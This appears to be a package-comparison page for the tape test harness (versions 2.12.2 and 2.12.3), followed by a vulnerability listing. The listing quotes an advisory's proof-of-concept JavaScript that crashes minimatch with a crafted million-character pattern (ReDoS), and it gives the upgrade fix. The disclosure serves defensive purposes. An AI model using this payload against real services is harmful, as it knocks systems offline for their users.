Tape is a minimalistic, yet powerful, test harness for Node.js and browsers that outputs TAP (Test Anything Protocol) for easy integration with various test runners and reporting tools. Versions 2.12.2 and 2.12.3 share the same core dependencies, including modules like glob for file matching, defined and resumer for utility functions, through for stream manipulation, inherits for inheritance, deep-equal for robust object comparison, and object-inspect for detailed object inspection. This shared foundation suggests a consistent API and behavior across these versions.
The key difference lies in the release date and potentially minor bug fixes or internal improvements. Version 2.12.3 was released on April 5, 2014, just a few days after version 2.12.2, which came out on April 2, 2014. Developers should consider upgrading to the newer version (2.12.3) to benefit from these potential fixes, even though no specific changes are explicitly called out. Furthermore, both use the MIT license, indicating a liberal usage policy for the library. When choosing tape, developers gain a straightforward testing solution, while version selection offers refining decisions for stability through bug fixes or patches. The core test writing, assertion and reporting logic will remain equivalent across the two versions considering the shared dependencies.
All the vulnerabilities related to the version 2.12.3 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.